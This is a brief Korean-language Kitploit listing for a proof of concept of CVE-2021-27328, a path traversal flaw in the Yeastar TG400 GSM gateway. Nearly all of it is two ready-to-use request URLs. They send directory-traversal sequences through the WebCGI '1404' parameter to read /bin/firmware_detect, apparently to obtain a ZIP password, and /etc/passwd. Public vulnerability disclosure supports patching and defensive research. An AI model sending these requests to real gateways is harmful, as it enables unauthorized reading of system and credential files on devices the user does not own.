CVE-2021-27328 — Yeastar TG400 GSM 게이트웨이의 경로 탐색에 대한 개념 증명으로, WebCGI에 대한 조작된 HTTP 요청을 통해 임의 파일 읽기를 시연합니다. | Kitploit

Path Traversal on Yeastar TG400 GSM Gateway - 91.3.0.3

이는 CVE-2021-27328에 대한 개념 증명(PoC)입니다.

예시

http://192.168.43.246/cgi/WebCGI?1404=../../../../../../../../../../bin/firmware_detect

ZIP 비밀번호

http://192.168.43.246/cgi/WebCGI?1404=../../../../../../../../../../etc/passwd

/etc/passwd